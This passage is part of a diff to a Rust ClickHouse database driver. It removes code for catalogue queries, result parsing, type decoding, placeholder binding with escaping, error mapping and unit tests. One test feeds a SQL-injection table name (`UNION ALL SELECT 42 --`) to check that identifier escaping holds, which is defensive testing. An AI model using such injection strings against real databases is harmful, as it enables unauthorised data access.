ClickhouseConnection { - fn database_of<'a>(&'a self, schema: Option<&'a str>) -> &'a str { - schema.unwrap_or(self.database.as_str()) - } - - /// Runs a statement and reports the row count the server put in - /// `X-ClickHouse-Summary`. Meaningful for INSERT; mutations report - /// nothing, which is why the driver declares - /// `reports_rows_affected() == false`. - async fn execute_reporting(&self, sql: &str) -> Result { - let mut cursor = self - .client - .query(&escape_bind_markers(sql)) - // The summary header is sent before the body, so its counts - // are only complete once the server has finished the query. - .with_setting("wait_end_of_query", "1") - .fetch_bytes(ROW_FORMAT) - .map_err(map_clickhouse_error)?; - while cursor.next().await.map_err(map_clickhouse_error)?.is_some() {} - Ok(cursor.summary().and_then(|s| s.written_rows()).unwrap_or(0)) - } -} - -#[async_trait] -impl Connection for ClickhouseConnection { - async fn list_tables(&self) -> Result, DriverError> { - #[derive(Debug, Deserialize, clickhouse::Row)] - struct Row { - database: String, - name: String, - } - - let rows = self - .client - .query( - "SELECT database, name - FROM system.tables - WHERE database = ? - AND is_temporary = 0 - ORDER BY name", - ) - .bind(self.database.as_str()) - .fetch_all::() - .await - .map_err(map_clickhouse_error)?; - - Ok(rows - .into_iter() - .map(|r| TableInfo { - schema: Some(r.database), - name: r.name, - }) - .collect()) - } - - async fn fetch_columns(&self, schema: Option<&str>, table: &str) -> Result, DriverError> { - #[derive(Debug, Deserialize, clickhouse::Row)] - struct Row { - name: String, - #[serde(rename = "type")] - data_type: String, - is_in_primary_key: u8, - default_kind: String, - default_expression: String, - comment: String, - } - - let rows = self - .client - .query( - "SELECT - name, - type, - is_in_primary_key, - default_kind, - default_expression, - comment - FROM system.columns - WHERE database = ? - AND table = ? - ORDER BY position", - ) - .bind(self.database_of(schema)) - .bind(table) - .fetch_all::() - .await - .map_err(map_clickhouse_error)?; - - Ok(rows - .into_iter() - .map(|r| { - let is_generated = matches!(r.default_kind.as_str(), "MATERIALIZED" | "ALIAS" | "EPHEMERAL"); - let default_value = if r.default_expression.is_empty() { - None - } else { - Some(r.default_expression) - }; - ColumnInfo { - nullable: type_is_nullable(&r.data_type), - name: r.name, - column_type: column_type_of(&r.data_type), - // A MergeTree sorting key is the closest thing to a - // row identifier ClickHouse has, but it is not - // unique. The edit path needs *some* key to build a - // WHERE from; see `fetch_indexes` for why it is not - // advertised as unique. - primary_key: r.is_in_primary_key != 0, - is_auto_increment: false, - is_generated, - default: match default_value { - Some(text) => ColumnDefault::Expression(SqlExpression::from_catalog_text(text)), - None => ColumnDefault::None, - }, - // ClickHouse has no "no comment" either: an - // uncommented column comes back as the empty - // string. - comment: (!r.comment.is_empty()).then_some(r.comment), - } - }) - .collect()) - } - - async fn fetch_rows( - &self, - schema: Option<&str>, - table: &str, - offset: u64, - limit: u64, - ) -> Result { - let qualified = qualify(self.database_of(schema), table); - let sql = format!("SELECT * FROM {qualified} LIMIT {limit} OFFSET {offset}"); - fetch_result(&self.client, &sql, limit as usize).await - } - - async fn query(&self, sql: &str) -> Result { - fetch_result(&self.client, sql, MAX_QUERY_ROWS).await - } - - async fn query_params(&self, sql: &str, params: &[Value]) -> Result { - if params.is_empty() { - return self.query(sql).await; - } - let bound = bind_placeholders(sql, params)?; - self.query(&bound).await - } - - async fn execute(&self, sql: &str) -> Result { - let rows_affected = self.execute_reporting(sql).await?; - Ok(ExecResult { rows_affected }) - } - - async fn execute_params(&self, sql: &str, params: &[Value]) -> Result { - let bound = bind_placeholders(sql, params)?; - self.execute(&bound).await - } - - async fn execute_in_transaction(&self, statements: &[(String, Vec)]) -> Result, DriverError> { - // ClickHouse has no multi-statement ACID transaction for DML, so - // this cannot honour the trait's rollback contract: statements - // before the failing one stay applied. The index in the returned - // error is still the one that failed, which is what the caller - // uses to flag the offending row. - let mut affected = Vec::with_capacity(statements.len()); - for (i, (sql, params)) in statements.iter().enumerate() { - match self.execute_params(sql, params).await { - Ok(r) => affected.push(r.rows_affected), - Err(e) => { - return Err(DriverError::RolledBack { - statement_index: i, - source: Box::new(e), - }); - } - } - } - Ok(affected) - } - - async fn fetch_indexes(&self, schema: Option<&str>, table: &str) -> Result, DriverError> { - #[derive(Debug, Deserialize, clickhouse::Row)] - struct Row { - name: String, - primary_key: String, - } - - let rows = self - .client - .query( - "SELECT name, primary_key - FROM system.tables - WHERE database = ? - AND name = ? - LIMIT 1", - ) - .bind(self.database_of(schema)) - .bind(table) - .fetch_all::() - .await - .map_err(map_clickhouse_error)?; - - let Some(row) = rows.into_iter().next() else { - return Ok(Vec::new()); - }; - let columns = split_key_expression(&row.primary_key); - if columns.is_empty() { - return Ok(Vec::new()); - } - Ok(vec![IndexInfo { - name: format!("{}_sorting_key", row.name), - columns, - // A MergeTree primary key is a sparse sorting key, not a - // uniqueness constraint: duplicate keys are legal and common. - // Advertising it as unique would tell the UI that an UPDATE - // built from these columns touches exactly one row. - unique: false, - primary: true, - }]) - } - - async fn fetch_foreign_keys( - &self, - _schema: Option<&str>, - _table: &str, - ) -> Result, DriverError> { - // ClickHouse has no classical FK constraints. - Ok(Vec::new()) - } - - async fn ping(&self) -> Result<(), DriverError> { - let probe = self.client.query("SELECT 1").execute(); - match tokio::time::timeout(PROBE_TIMEOUT, probe).await { - Ok(result) => result.map_err(map_clickhouse_error), - Err(_) => Err(DriverError::Timeout { - phase: TimeoutPhase::Probe, - server_cancelled: false, - }), - } - } - - async fn close(self: Box) -> Result<(), DriverError> { - Ok(()) - } -} - -/// Reads a `ROW_FORMAT` response one line at a time so the caller can -/// stop at `max_rows` without materialising the rest of the result. -struct LineReader { - cursor: clickhouse::query::BytesCursor, - buf: Vec, - consumed: usize, - eof: bool, -} - -impl LineReader { - fn new(cursor: clickhouse::query::BytesCursor) -> Self { - Self { - cursor, - buf: Vec::new(), - consumed: 0, - eof: false, - } - } - - async fn next_line(&mut self) -> Result>, DriverError> { - loop { - if let Some(idx) = self.buf[self.consumed..].iter().position(|b| *b == b'\n') { - let end = self.consumed + idx; - let line = self.buf[self.consumed..end].to_vec(); - self.consumed = end + 1; - return Ok(Some(line)); - } - if self.eof { - let rest = self.buf[self.consumed..].to_vec(); - self.consumed = self.buf.len(); - return Ok((!rest.is_empty()).then_some(rest)); - } - match self.cursor.next().await.map_err(map_clickhouse_error)? { - Some(chunk) => { - self.buf.drain(..self.consumed); - self.consumed = 0; - self.buf.extend_from_slice(&chunk); - } - None => self.eof = true, - } - } - } -} - -fn parse_line(line: &[u8]) -> Result { - serde_json::from_slice(line).map_err(|e| DriverError::Protocol(format!("unreadable response: {e}"))) -} - -async fn fetch_result(client: &clickhouse::Client, sql: &str, max_rows: usize) -> Result { - let cursor = client - .query(&escape_bind_markers(sql)) - .fetch_bytes(ROW_FORMAT) - .map_err(map_clickhouse_error)?; - let mut reader = LineReader::new(cursor); - - // A statement with no result set (DDL, INSERT) sends an empty body. - let Some(names_line) = reader.next_line().await? else { - return Ok(empty_result()); - }; - let names: Vec = parse_line(&names_line)?; - let Some(types_line) = reader.next_line().await? else { - return Ok(empty_result()); - }; - let types: Vec = parse_line(&types_line)?; - - let types_for_decode = types.clone(); - let columns: Vec = names - .into_iter() - .zip(types) - .map(|(name, data_type)| ResultColumn::new(name, column_type_of(&data_type))) - .collect(); - - let mut rows: Vec> = Vec::new(); - let mut truncated = false; - while let Some(line) = reader.next_line().await? { - if line.is_empty() { - continue; - } - // Read one line past the cap so the flag reflects rows the - // server actually had, not a result that happens to land on it. - if rows.len() == max_rows { - truncated = true; - break; - } - let raw: Vec = parse_line(&line)?; - let mut row = Vec::with_capacity(types_for_decode.len()); - for (i, type_name) in types_for_decode.iter().enumerate() { - let cell = raw.get(i).cloned().unwrap_or(serde_json::Value::Null); - row.push(json_to_value(cell, type_name)); - } - rows.push(row); - } - - Ok(QueryResult::new(columns, rows).truncated(truncated)) -} - -fn empty_result() -> QueryResult { - QueryResult::empty() -} - -/// Peels the wrappers that do not change how a value is encoded, then -/// drops any type arguments. `LowCardinality(Nullable(String))` becomes -/// `String`, `Decimal(9, 2)` becomes `Decimal`, `DateTime64(3, 'UTC')` -/// becomes `DateTime64`. Matching the raw name instead would miss every -/// parameterised type, since the server always reports its arguments. -fn base_type(type_name: &str) -> &str { - let mut t = type_name.trim(); - while let Some(inner) = unwrap_type(t, "LowCardinality").or_else(|| unwrap_type(t, "Nullable")) { - t = inner; - } - t.split('(').next().unwrap_or(t).trim() -} - -/// `Nullable(T)` survives inside `LowCardinality`, so the wrapper has to -/// come off before the nullability test. -fn type_is_nullable(type_name: &str) -> bool { - let t = type_name.trim(); - let inner = unwrap_type(t, "LowCardinality").unwrap_or(t); - unwrap_type(inner, "Nullable").is_some() -} - -fn unwrap_type<'a>(type_name: &'a str, wrapper: &str) -> Option<&'a str> { - type_name - .strip_prefix(wrapper)? - .strip_prefix('(')? - .strip_suffix(')') - .map(str::trim) -} - -fn json_to_value(raw: serde_json::Value, type_name: &str) -> Value { - if raw.is_null() { - return Value::Null; - } - match base_type(type_name) { - "Bool" => raw - .as_bool() - .map(Value::Bool) - .or_else(|| raw.as_u64().map(|n| Value::Bool(n != 0))) - .unwrap_or_else(|| fallback_text(&raw)), - // UInt64 and the 128- and 256-bit integers now have variants - // that hold them, so nothing falls back to text to keep its - // digits. - "Int8" | "Int16" | "Int32" | "Int64" | "Int128" | "Int256" | "UInt8" | "UInt16" | "UInt32" | "UInt64" - | "UInt128" | "UInt256" => integer_value(&raw), - "Float32" => raw - .as_f64() - .or_else(|| raw.as_str().and_then(|s| s.parse::().ok())) - .map(|f| Value::Float32(f as f32)) - .unwrap_or_else(|| fallback_text(&raw)), - "Float64" => raw - .as_f64() - .or_else(|| raw.as_str().and_then(|s| s.parse::().ok())) - .map(Value::Float64) - .unwrap_or_else(|| fallback_text(&raw)), - "Decimal" | "Decimal32" | "Decimal64" | "Decimal128" | "Decimal256" => raw - .as_str() - .and_then(|s| s.parse().ok()) - .or_else(|| raw.as_f64().map(|f| f.to_string()).and_then(|s| s.parse().ok())) - .map(Value::Decimal) - .unwrap_or_else(|| fallback_text(&raw)), - "Date" | "Date32" => raw - .as_str() - .and_then(|s| chrono::NaiveDate::parse_from_str(s, "%Y-%m-%d").ok()) - .map(|date| Value::Date(Temporal::Finite(date))) - .unwrap_or_else(|| fallback_text(&raw)), - "DateTime" | "DateTime64" => parse_datetime(&raw), - "UUID" => raw - .as_str() - .and_then(|s| s.parse::().ok()) - .map(Value::Uuid) - .unwrap_or_else(|| fallback_text(&raw)), - "String" | "FixedString" | "Enum8" | "Enum16" | "IPv4" | "IPv6" => fallback_text(&raw), - "Array" | "Map" | "Tuple" | "Nested" | "JSON" | "Object" | "Variant" | "Dynamic" => { - match JsonText::parse(raw.to_string()) { - Ok(json) => Value::Json(json), - Err(_) => fallback_text(&raw), - } - } - _ => fallback_text(&raw), - } -} - -fn parse_datetime(raw: &serde_json::Value) -> Value { - let Some(s) = raw.as_str() else { - return fallback_text(raw); - }; - if let Ok(dt) = chrono::DateTime::parse_from_rfc3339(s) { - return Value::TimestampTz(Temporal::Finite(OffsetTimestamp::from_datetime(dt))); - } - // `%.f` also matches a whole-second timestamp, so one pattern covers - // both `DateTime` and every `DateTime64` precision. - if let Ok(dt) = chrono::NaiveDateTime::parse_from_str(s, "%Y-%m-%d %H:%M:%S%.f") { - return Value::Timestamp(Temporal::Finite(dt)); - } - Value::Text(s.to_string()) -} - -/// A JSON string keeps its own text; anything else keeps its JSON -/// spelling so no digits are lost on the way to the grid. -fn fallback_text(raw: &serde_json::Value) -> Value { - match raw.as_str() { - Some(s) => Value::Text(s.to_string()), - None => Value::Text(raw.to_string()), - } -} - -/// Splits a `primary_key` expression from `system.tables` on top-level -/// commas only. A naive split breaks `toYYYYMM(d), id` into -/// `toYYYYMM(d` and `d), id`. -fn split_key_expression(expression: &str) -> Vec { - let mut parts = Vec::new(); - let mut depth = 0usize; - let mut current = String::new(); - for ch in expression.chars() { - match ch { - '(' => { - depth += 1; - current.push(ch); - } - ')' => { - depth = depth.saturating_sub(1); - current.push(ch); - } - ',' if depth == 0 => { - parts.push(std::mem::take(&mut current)); - } - _ => current.push(ch), - } - } - parts.push(current); - parts - .into_iter() - .map(|s| s.trim().trim_matches('`').trim_matches('"').to_string()) - .filter(|s| !s.is_empty()) - .collect() -} - -fn qualify(schema: &str, table: &str) -> String { - format!("{}.{}", quote_ident(DRIVER_ID, schema), quote_ident(DRIVER_ID, table)) -} - -#[derive(Clone, Copy, PartialEq, Eq)] -enum ScanState { - Sql, - SingleQuote, - DoubleQuote, - Backtick, - LineComment, - BlockComment, -} - -/// Inlines `Value`s as escaped SQL literals. ClickHouse's HTTP interface -/// has no positional binding, so the driver has to do the substitution -/// itself, which means it also has to know where SQL ends and a string -/// literal begins: a `?` inside `'what?'` is data, not a placeholder. -/// Filters carry user-typed text (`FilterOp::Raw` concatenates a whole -/// clause), so scanning blind would let one apostrophe shift every -/// binding after it. -fn bind_placeholders(sql: &str, params: &[Value]) -> Result { - let mut out = String::with_capacity(sql.len() + params.len() * 8); - let mut used = vec![false; params.len()]; - let mut next_positional = 0usize; - let mut state = ScanState::Sql; - let mut chars = sql.chars().peekable(); - - while let Some(ch) = chars.next() { - match state { - ScanState::SingleQuote | ScanState::DoubleQuote | ScanState::Backtick => { - out.push(ch); - let closer = match state { - ScanState::SingleQuote => '\'', - ScanState::DoubleQuote => '"', - _ => '`', - }; - if ch == '\\' { - // ClickHouse honours backslash escapes inside every - // quoted form, so the next character is literal. - if let Some(escaped) = chars.next() { - out.push(escaped); - } - } else if ch == closer { - // A doubled quote is an escaped quote, not a close. - if chars.peek() == Some(&closer) { - out.push(closer); - chars.next(); - } else { - state = ScanState::Sql; - } - } - } - ScanState::LineComment => { - out.push(ch); - if ch == '\n' { - state = ScanState::Sql; - } - } - ScanState::BlockComment => { - out.push(ch); - if ch == '*' && chars.peek() == Some(&'/') { - out.push('/'); - chars.next(); - state = ScanState::Sql; - } - } - ScanState::Sql => match ch { - '\'' | '"' | '`' => { - out.push(ch); - state = match ch { - '\'' => ScanState::SingleQuote, - '"' => ScanState::DoubleQuote, - _ => ScanState::Backtick, - }; - } - '-' if chars.peek() == Some(&'-') => { - out.push_str("--"); - chars.next(); - state = ScanState::LineComment; - } - '/' if chars.peek() == Some(&'*') => { - out.push_str("/*"); - chars.next(); - state = ScanState::BlockComment; - } - '?' => { - let Some(value) = params.get(next_positional) else { - return Err(DriverError::Protocol(format!( - "not enough bind parameters: need at least {}", - next_positional + 1 - ))); - }; - out.push_str(&literal(value)?); - used[next_positional] = true; - next_positional += 1; - } - '$' => { - let mut digits = String::new(); - while let Some(d) = chars.peek().copied().filter(char::is_ascii_digit) { - digits.push(d); - chars.next(); - } - if digits.is_empty() { - out.push('$'); - continue; - } - let n: usize = digits - .parse() - .map_err(|_| DriverError::Protocol(format!("bad placeholder ${digits}")))?; - let Some(index) = n.checked_sub(1) else { - return Err(DriverError::Protocol("bind placeholders start at $1".to_owned())); - }; - let Some(value) = params.get(index) else { - return Err(DriverError::Protocol(format!( - "bind parameter ${n} out of range (have {})", - params.len() - ))); - }; - out.push_str(&literal(value)?); - used[index] = true; - } - _ => out.push(ch), - }, - } - } - - if let Some(unused) = used.iter().position(|u| !u) { - return Err(DriverError::Protocol(format!( - "bind parameter {} of {} was never referenced", - unused + 1, - params.len() - ))); - } - Ok(out) -} - -fn literal(value: &Value) -> Result { - let rendered = match value { - Value::Null => "NULL".into(), - Value::Bool(b) => if *b { "true" } else { "false" }.into(), - Value::Int(i) => i.to_string(), - Value::UInt(i) => i.to_string(), - Value::WideInt(i) => i.to_string(), - // ClickHouse spells these out; substituting NULL would write a - // different value than the user typed. - Value::Float32(f) => non_finite_literal(f64::from(*f)).unwrap_or_else(|| f.to_string()), - Value::Float64(f) => non_finite_literal(*f).unwrap_or_else(|| f.to_string()), - Value::Text(s) => format!("'{}'", escape_str(s)), - Value::Bytes(b) => format!("unhex('{}')", tablepro_core::hex::encode_lower(b)), - Value::Date(Temporal::Finite(d)) => format!("toDate('{}')", d.format("%Y-%m-%d")), - Value::Time(t) => format!("'{}'", t.format(None)), - Value::Timestamp(Temporal::Finite(t)) => format!("toDateTime('{}')", t.format("%Y-%m-%d %H:%M:%S")), - Value::TimestampTz(Temporal::Finite(t)) => { - format!("toDateTime64('{}', 3)", t.to_datetime().format("%Y-%m-%d %H:%M:%S%.3f")) - } - Value::Decimal(d) => format!("toDecimal128('{d}', {})", d.scale().unwrap_or(0)), - Value::Uuid(u) => format!("toUUID('{u}')"), - Value::Json(j) => format!("'{}'", escape_str(j.as_str())), - // An infinite date has no literal, and a value the driver could - // not read must not be written back as a guess. - Value::Undecodable(_) | Value::Date(_) | Value::Timestamp(_) | Value::TimestampTz(_) => { - return Err(DriverError::Protocol(format!( - "a {} value has no ClickHouse literal", - value.variant_name() - ))); - } - other => match tablepro_core::export::value_to_text(other) { - Some(text) => format!("'{}'", escape_str(&text)), - None => "NULL".into(), - }, - }; - Ok(rendered) -} - -/// The words ClickHouse uses for the non-finite floats. -fn non_finite_literal(value: f64) -> Option { - if value.is_nan() { - return Some("nan".to_owned()); - } - if value.is_infinite() { - return Some(if value.is_sign_negative() { "-inf" } else { "inf" }.to_owned()); - } - None -} - -fn escape_str(s: &str) -> String { - s.replace('\\', "\\\\").replace('\'', "\\'") -} - -/// The `clickhouse` crate treats every `?` in a query template as one of -/// its own bind markers and `??` as an escaped literal. Statements this -/// driver sends are already fully rendered, so any `?` left in them is -/// data: a value inlined by `bind_placeholders`, or a question mark the -/// user typed in the SQL editor. Without escaping, the crate rejects the -/// query as having unbound arguments before it ever reaches the server. -fn escape_bind_markers(sql: &str) -> String { - sql.replace('?', "??") -} - -/// ClickHouse error codes that mean the credentials were rejected. -/// 192 UNKNOWN_USER, 193 WRONG_PASSWORD, 194 REQUIRED_PASSWORD, -/// 497 ACCESS_DENIED, 516 AUTHENTICATION_FAILED. -/// ClickHouse numbers its errors and prints the number in the message -/// body, which is the only place the HTTP interface carries it. -fn clickhouse_code(message: &str) -> Option { - let rest = message.split("Code: ").nth(1)?; - let digits: String = rest.chars().take_while(char::is_ascii_digit).collect(); - digits.parse().ok() -} - -fn map_clickhouse_error(err: clickhouse::error::Error) -> DriverError { - let message = err.to_string(); - match &err { - // A transport failure is the only place a TLS or refused-connect - // diagnosis can come from. Matching those words against a server - // response would misclassify a query that merely mentions them. - clickhouse::error::Error::Network(_) => network_error(&message), - clickhouse::error::Error::TimedOut => DriverError::Timeout { - phase: TimeoutPhase::Statement, - server_cancelled: false, - }, - _ => server_error(&message), - } -} - -fn network_error(message: &str) -> DriverError { - let lower = message.to_lowercase(); - if lower.contains("certificate") || lower.contains("tls") || lower.contains("handshake") { - return DriverError::Tls { - failure: TlsFailure::Other, - detail: message.to_owned(), - }; - } - DriverError::ConnectionLost { - during: LossPhase::Statement, - } -} - -fn server_error(message: &str) -> DriverError { - let code = clickhouse_code(message); - let diagnostics = ServerDiagnostics::new(code.map(|code| ServerCode::ClickHouse { code }), message.to_owned()); - match code { - // 497 is "not enough privileges", which arrives during connect - // when the user exists but cannot read anything. - Some(192 | 193 | 194 | 497 | 516) => DriverError::auth(Some(diagnostics)), - Some(164) => DriverError::ReadOnly(ReadOnlyRefusal::server(diagnostics)), - Some(394) => DriverError::Cancelled, - Some(159) => DriverError::Timeout { - phase: TimeoutPhase::Statement, - server_cancelled: true, - }, - Some(202 | 203) => DriverError::Busy, - _ => DriverError::reported(diagnostics), - } -} - -#[cfg(test)] -mod tests { - use super::*; - - #[test] - fn driver_metadata() { - let d = ClickhouseDriver; - assert_eq!(d.id(), "clickhouse"); - assert_eq!(d.display_name(), "ClickHouse"); - assert_eq!(d.default_port(), 8123); - assert!(!d.reports_rows_affected()); - } - - #[test] - fn qualify_escapes_backticks() { - assert_eq!(qualify("db", "users"), "`db`.`users`"); - assert_eq!(qualify("db", "a`b"), r"`db`.`a\`b`"); - } - - #[test] - fn qualify_escapes_backslash_before_backtick() { - assert_eq!( - qualify("db", r"t\` UNION ALL SELECT 42 --"), - r"`db`.`t\\\` UNION ALL SELECT 42 --`" - ); - } - - #[test] - fn bind_placeholders_keeps_escaped_identifier_intact() { - let table = qualify("db", r"t\`?"); - let sql = format!("SELECT * FROM {table} WHERE id = ?"); - let bound = bind_placeholders(&sql, &[Value::Int(7)]).unwrap(); - assert_eq!(bound, format!("SELECT * FROM {table} WHERE id = 7")); - } - - #[test] - fn base_type_strips_arguments_and_wrappers() { - assert_eq!(base_type("String"), "String"); - assert_eq!(base_type("Decimal(9, 2)"), "Decimal"); - assert_eq!(base_type("DateTime64(3, 'UTC')"), "DateTime64"); - assert_eq!(base_type("FixedString(16)"), "FixedString"); - assert_eq!(base_type("Nullable(Decimal(18, 4))"), "Decimal"); - assert_eq!(base_type("LowCardinality(Nullable(String))"), "String"); - assert_eq!(base_type("Array(Nullable(String))"), "Array"); - assert_eq!(base_type("Map(String, UInt64)"), "Map"); - } - - #[test] - fn nullability_survives_low_cardinality() { - assert!(!type_is_nullable("String")); - assert!(type_is_nullable("Nullable(String)")); - assert!(type_is_nullable("LowCardinality(Nullable(String))")); - assert!(!type_is_nullable("LowCardinality(String)")); - // The inner Nullable belongs to the element, not the column. - assert!(!type_is_nullable("Array(Nullable(String))")); - } - - #[test] - fn parameterised_types_decode_to_typed_values() { - assert_eq!( - json_to_value(serde_json::json!("12.34"), "Decimal(9, 2)"), - Value::Decimal("12.34".parse().unwrap()) - ); - assert_eq!( - json_to_value(serde_json::json!("2024-06-15 08:30:00.123"), "DateTime64(3)"), - Value::Timestamp(Temporal::Finite( - chrono::NaiveDate::from_ymd_opt(2024, 6, 15) - .unwrap() - .and_hms_milli_opt(8, 30, 0, 123) - .unwrap() - )) - ); - assert_eq!( - json_to_value(serde_json::json!("abc"), "LowCardinality(Nullable(String))"), - Value::Text("abc".into()) - ); - assert_eq!( - json_to_value(serde_json::json!("2024-06-15 08:30:00"), "DateTime"), - Value::Timestamp(Temporal::Finite( - chrono::NaiveDate::from_ymd_opt(2024, 6, 15) - .unwrap() - .and_hms_opt(8, 30, 0) - .unwrap() - )) - ); - } - - #[test] - fn json_to_value_maps_common_types() { - assert_eq!(json_to_value(serde_json::json!(true), "Bool"), Value::Bool(true)); - assert_eq!(json_to_value(serde_json::json!(42), "Int64"), Value::Int(42)); - assert_eq!( - json_to_value(serde_json::json!("hello"), "String"), - Value::Text("hello".into()) - ); - assert_eq!(json_to_value(serde_json::Value::Null, "Nullable(String)"), Value::Null); - assert_eq!( - json_to_value(serde_json::json!("2024-06-15"), "Date"), - Value::Date(Temporal::Finite(chrono::NaiveDate::from_ymd_opt(2024, 6, 15).unwrap())) - ); - assert_eq!( - json_to_value(serde_json::json!([1, 2]), "Array(UInt8)"), - Value::Json(JsonText::parse("[1,2]".to_owned()).expect("valid json")) - ); - } - - #[test] - fn bind_question_marks() { - let sql = bind_placeholders( - "ALTER TABLE t UPDATE a = ? WHERE id = ?", - &[Value::Text("x".into()), Value::Int(1)], - ) - .unwrap(); - assert_eq!(sql, "ALTER TABLE t UPDATE a = 'x' WHERE id = 1"); - } - - #[test] - fn bind_dollar_placeholders() { - let sql = bind_placeholders( - "ALTER TABLE t UPDATE a = $1 WHERE id = $2", - &[Value::Text("x".into()), Value::Int(1)], - ) - .unwrap(); - assert_eq!(sql, "ALTER TABLE t UPDATE a = 'x' WHERE id = 1"); - } - - #[test] - fn placeholders_inside_literals_are_left_alone() { - let sql = bind_placeholders("SELECT * FROM t WHERE note = 'what? $1' AND id = ?", &[Value::Int(7)]).unwrap(); - assert_eq!(sql, "SELECT * FROM t WHERE note = 'what? $1' AND id = 7"); - } - - #[test] - fn placeholders_inside_comments_and_identifiers_are_left_alone() { - let sql = bind_placeholders( - "SELECT `we?rd`, /* $1 ? */ x -- ?\n FROM t WHERE id = ?", - &[Value::Int(3)], - ) - .unwrap(); - assert_eq!(sql, "SELECT `we?rd`, /* $1 ? */ x -- ?\n FROM t WHERE id = 3"); - } - - #[test] - fn escaped_quote_does_not_end_a_literal() { - let sql = bind_placeholders("SELECT * FROM t WHERE a = 'it''s ?' AND b = ?", &[Value::Int(1)]).unwrap(); - assert_eq!(sql, "SELECT * FROM t WHERE a = 'it''s ?' AND b = 1"); - - let sql = bind_placeholders("SELECT * FROM t WHERE a = 'it\\'s ?' AND b = ?", &[Value::Int(1)]).unwrap(); - assert_eq!(sql, "SELECT * FROM t WHERE a = 'it\\'s ?' AND b = 1"); - } - - #[test] - fn unreferenced_parameter_is_an_error() { - let err = bind_placeholders("SELECT * FROM t WHERE id = ?", &[Value::Int(1), Value::Int(2)]).unwrap_err(); - assert!(matches!(err, DriverError::Protocol(_))); - } - - #[test] - fn missing_parameter_is_an_error() { - let err = bind_placeholders("SELECT * FROM t WHERE a = ? AND b = ?", &[Value::Int(1)]).unwrap_err(); - assert!(matches!(err, DriverError::Protocol(_))); - - let err = bind_placeholders("SELECT * FROM t WHERE a = $3", &[Value::Int(1)]).unwrap_err(); - assert!(matches!(err, DriverError::Protocol(_))); - } - - #[test] - fn text_literals_escape_quotes_and_backslashes() { - assert_eq!(literal(&Value::Text("it's \\ ok".into())).unwrap(), "'it\\'s \\\\ ok'"); - assert_eq!( - literal(&Value::Bytes(vec![0x00, 0xff, 0x0a])).unwrap(), - "unhex('00ff0a')" - ); - } - - #[test] - fn non_finite_floats_use_clickhouse_spellings() { - assert_eq!(literal(&Value::Float64(f64::NAN)).unwrap(), "nan"); - assert_eq!(literal(&Value::Float64(f64::INFINITY)).unwrap(), "inf"); - assert_eq!(literal(&Value::Float64(f64::NEG_INFINITY)).unwrap(), "-inf"); - } - - #[test] - fn decimal_literals_keep_their_scale() { - assert_eq!( - literal(&Value::Decimal("12.3400".parse().unwrap())).unwrap(), - "toDecimal128('12.3400', 4)" - ); - } - - #[test] - fn question_marks_are_escaped_for_the_client_template() { - assert_eq!( - escape_bind_markers("SELECT * FROM t WHERE note = 'what?'"), - "SELECT * FROM t WHERE note = 'what??'" - ); - // `?fields` is the crate's other marker; escaping covers it too. - assert_eq!(escape_bind_markers("SELECT ?fields FROM t"), "SELECT ??fields FROM t"); - assert_eq!(escape_bind_markers("SELECT 1"), "SELECT 1"); - } - - #[test] - fn key_expression_splits_at_top_level_only() { - assert_eq!(split_key_expression("id"), vec!["id"]); - assert_eq!(split_key_expression("`a`, `b`"), vec!["a", "b"]); - assert_eq!(split_key_expression("toYYYYMM(d), id"), vec!["toYYYYMM(d)", "id"]); - assert!(split_key_expression("").is_empty()); - } - - #[test] - fn map_error_classifies_auth() { - let err = map_clickhouse_error(clickhouse::error::Error::BadResponse( - "Code: 516. Authentication failed: password is incorrect".into(), - )); - - assert!(matches!(err, DriverError::Auth { .. }), "got {err:?}"); - assert_eq!(err.category(), tablepro_core::ErrorCategory::Authentication); - } - - #[test] - fn server_error_mentioning_certificate_stays_a_server_error() { - let err = map_clickhouse_error(clickhouse::error::Error::BadResponse( - "Code: 47. Unknown identifier: certificate".into(), - )); - - assert!(matches!(err, DriverError::Server(_)), "got {err:?}"); - } - - #[test] - fn a_read_only_refusal_carries_the_servers_code() { - let err = map_clickhouse_error(clickhouse::error::Error::BadResponse( - "Code: 164. Cannot execute query in readonly mode".into(), - )); - - let DriverError::ReadOnly(ReadOnlyRefusal::ServerRejected(diagnostics)) = &err else { - panic!("got {err:?}"); - }; - assert_eq!(diagnostics.code, Some(ServerCode::ClickHouse { code: 164 })); - } - - #[test] - fn a_cancelled_query_is_not_a_server_error() { - let err = map_clickhouse_error(clickhouse::error::Error::BadResponse( - "Code: 394. Query was cancelled".into(), - )); - - assert!(matches!(err, DriverError::Cancelled), "got {err:?}"); - } -} - -/// A column type from the name the catalogue gave, classified by the -/// shared rules. The engine's own spelling is kept for DDL. -fn column_type_of(type_name: &str) -> ColumnType { - let kind = classify_type_name(type_name); - ColumnType::new( - SqlTypeExpr::from_catalog_text(type_name), - kind, - CatalogType::Named(SqlTypeExpr::from_catalog_text(type_name)), - has_dynamic_storage(kind), - ReadForm::Native, - ) -} - -/// An integer of any width ClickHouse offers, in the smallest variant -/// that holds it. The wide ones arrive as JSON strings, because a JSON -/// number cannot carry them. -fn integer_value(raw: &serde_json::Value) -> Value { - if let Some(value) = raw.as_i64() { - return Value::Int(value); - } - if let Some(value) = raw.as_u64() { - return Value::UInt(value); - } - let Some(text) = raw.as_str() else { - return fallback_text(raw); - }; - if let Ok(value) = text.parse::() { - return Value::Int(value); - } - if let Ok(value) = text.parse::() { - return Value::UInt(value); - } - match text.parse() { - Ok(wide) => Value::WideInt(wide), - Err(_) => fallback_text(raw), - } -} - -#[cfg(test)] -mod value_tests { - use super::*; - - #[test] - fn a_uint64_past_i64_keeps_its_digits_as_a_number() { - let raw = serde_json::Value::String("18446744073709551615".to_owned()); - - assert_eq!(integer_value(&raw), Value::UInt(u64::MAX)); - } - - #[test] - fn an_int128_is_kept_whole() { - let widest = "170141183460469231731687303715884105727"; - let raw = serde_json::Value::String(widest.to_owned()); - - let Value::WideInt(value) = integer_value(&raw) else { - panic!("a 128-bit integer was not kept as one"); - }; - assert_eq!(value.to_string(), widest); - } - - #[test] - fn a_plain_integer_stays_signed() { - assert_eq!(integer_value(&serde_json::json!(-7)), Value::Int(-7)); - assert_eq!(integer_value(&serde_json::json!(7)), Value::Int(7)); - } - - #[test] - fn text_that_is_not_a_number_falls_back_to_text() { - let raw = serde_json::Value::String("nonsense".to_owned()); - - assert_eq!(integer_value(&raw), Value::Text("nonsense".to_owned())); - } -} +//! The ClickHouse driver: the official `clickhouse` crate over hyper, +//! with every connection dialled through the target's transport. +//! +//! Reads stream `JSONCompactEachRowWithNamesAndTypes` and read each cell +//! by the type the server named for it. Values go to the server as typed +//! `{pN:Type}` parameters. A write is a sequence 